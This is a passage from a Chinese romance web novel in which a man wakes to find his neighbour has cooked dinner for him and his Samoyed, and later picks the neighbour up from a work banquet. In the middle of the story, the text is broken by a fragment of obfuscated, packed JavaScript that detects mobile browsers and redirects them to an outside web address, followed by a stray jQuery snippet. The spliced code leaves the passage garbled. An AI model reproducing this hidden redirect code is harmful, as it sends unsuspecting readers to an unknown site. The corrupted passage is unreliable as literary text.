他的觉很轻,睡到一半感觉沙发微微下陷,silver跳上了来,也趴在他怀里睡着了。客厅里偶尔有些细碎的动静,是另一个人克制的声响,于是他知道沈政宁一直没走,那种温柔又安定的气场简直如同守护结界一样笼罩着客厅,让他在浅水般朦胧的睡梦里浮浮沉沉,却觉得很宁静。 一觉醒来天都黑了,客厅里只有庭院地灯照进来的模糊光影,餐厅的灯亮着,一阵非常霸道的炖肉香气伴着细微的“呼噜”声飘进客厅。 庄明玘迷茫地坐起来醒了一分钟的神,然后顶着乱蓬蓬的头发和满是压痕的衣服慢悠悠地挪蹭向厨房,那迟疑的步伐仿佛卖火柴的小女孩在擦亮一个美梦,满怀着雀跃的渴望,又怕不小心惊碎了它。 越靠近餐厅,那种“呼噜呼噜”的动静就越明显,庄明玘扶着门框循声望去,silver面前摆着半盆丰盛狗饭——不如说是过于丰盛了,光他瞥见的就有肉蛋谷薯水果鲜蔬以及不知道是什么的动物内脏——而当事狗半张脸都幸福地埋进盆里,已经吃出了猪叫。 二十公斤的体重对这个年纪的萨摩耶来说其实偏瘦,庄明玘一直以为silver挑食是随他,但他此刻突然意识到其实它这么瘦根本就是饿的——孩子只是一直没吃到它喜欢的饭而已! 沈政宁刚好完成了最后的收尾工作,随手解下围裙,放下袖口,余光扫见门口的他:“终于醒了?” 庄明玘感觉他背后好像闪烁着漫画里才有那种星星和彩虹特效,而他也迟钝得像是漫画里才有的树獭:“你……还会做饭……吗?” “多新鲜啊,”沈政宁说,“我又不靠光合作用活着。” 他俯身查看silver的吃饭进度,那神情满意中带着一点严谨,活像生物学家注视自己的培养皿,随即直起身,语气清淡地吩咐:“去洗个手,拿筷子过来吃饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15017155|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庄明玘呆呆地坐进了那片灯光里,被碗口腾起的热气熏得有点睁不开眼。他像是第一次学会使用工具似地捏着崭新光滑的勺子,堪比试毒般小心翼翼地尝了一口清澈鲜美的牛肉汤,等再抬起头时,那眼神已经称得上是崇敬了。 沈政宁经受的严格家教里包含了“食不言寝不语”,他对庄明玘那突然水汪汪的小动物眼神没什么感觉,只是淡淡地说:“看我干什么,不要拿我下饭。” 面条的软硬粗细刚刚好,浸满了牛肉汤的鲜美滋味,又不会让汤底变浑,切片的清炖牛肉有着漂亮的脂肪纹理,青菜和形状完美的荷包蛋依偎在碗边,从味道和卖相上就能感受到那个人一以贯之的耐心和温柔。 这碗面并没有让他想起“爸爸/妈妈的味道”,他的家长没有那个闲工夫给他煮面,他也终于意识到沈政宁身上并没有投射出任何人或家庭的影子,他会被吸引、产生依赖、渴望亲近,只是因为沈政宁是沈政宁。他的生命里没有出现过这样独特的人,因此越是试着理解,反而会不可自抑地沦陷越深。 庄明玘忽然非常想碰一下他,哪怕只是指尖,他想知道“沈政宁”这个人是什么感觉。 可他也知道自己的痼疾,为了这一时冲动,可能会浪费了今天的晚饭。 到最后他也只能在沈政宁告辞出门时一把拎过silver,亦步亦趋地跟在他身后:“我送你……顺便遛狗。” 研究认为一种行为重复21天就会初步形成习惯,但研究没说庄明玘出门三天就会养成跟脚的习惯。 他早晨的遛狗路线开始跟沈政宁的通勤路线重合,晚上没事就把沈政宁薅下来陪他遛狗,沈政宁加班他也要做最后一个确认他到家的人。两人的微信占用内存剧增,沈政宁吐槽他这习惯简直像在做不在场证明,庄明玘想了想诚恳地说那你报警抓我吧。 沈政宁勒令他以后少玩手机。 “你的记忆力是不是玩手机玩得有点衰退了,我记得昨晚说过今天有团建聚餐吧?”沈政宁单手插兜,放松地站在酒店走廊上,话虽不客气,对着手机的神态却相当柔和,属于路过都要多看一眼不然亏了的帅哥。 庄明玘那边很安静,像是在书房:“你喝酒了?开车了吗?” “这种局多少得喝点,躲不过的。”沈政宁大概有三分醉意,低低笑了一声,“没开车,怎么了,你要来接我?” 这话正中庄明玘下怀,他欣然道:“好啊,地址发给我,我去接你,你结束了给我打电话。” “开玩笑的。说不准什么时候结束,可能会很晚。”沈政宁说,“别折腾了,我打个车回去,到家了告诉你。” “少废话,发地址。”庄明玘干脆地说,“少喝点酒,既然迟晚要一刀两断,就别一杯敬明天一杯敬过往了。”* 沈政宁拖长了音调:“是——知道了——” 他收起手机,推开包厢门回到席上,屋内的讨论声霎时一静。沈政宁还没说什么,有人见场面实在尴尬,打了个哈哈,开玩笑地问:“出去这么长时间,是不是女朋友打电话查岗呀?” 沈政宁拉开座椅入席,坦然地否认:“哪来的女朋友,就是普通的……嗯,狐朋狗友。” 因为众所周知的原因,这顿饭表面和气但暗流涌动,从领导到员工每个人都很收敛,团建的效果是进一步加深了团队内部分裂,最终在温冷气氛里飞速收场。 总监和新任副总监张罗着安排车送徐永京回家,沈政宁站在酒店门口,和同事们告别,一边漫不经心地想着庄明玘又在打什么鬼主意。 前方忽然传来“嘀嘀”两声喇叭,一辆全黑镜面的奔驰SUV披着影影绰绰的霓虹灯光驶入酒店外侧辅路,打着双闪在门口缓缓停下。一只雪白的大毛团子从半开的后窗里好奇地探出脑袋,朝着人群大声汪汪了两句。 所有人被这狗叫惊动,齐刷刷看向冬天爆毛爆成蒲公英的silver……以及它脑袋旁边那标志性的三角形车标。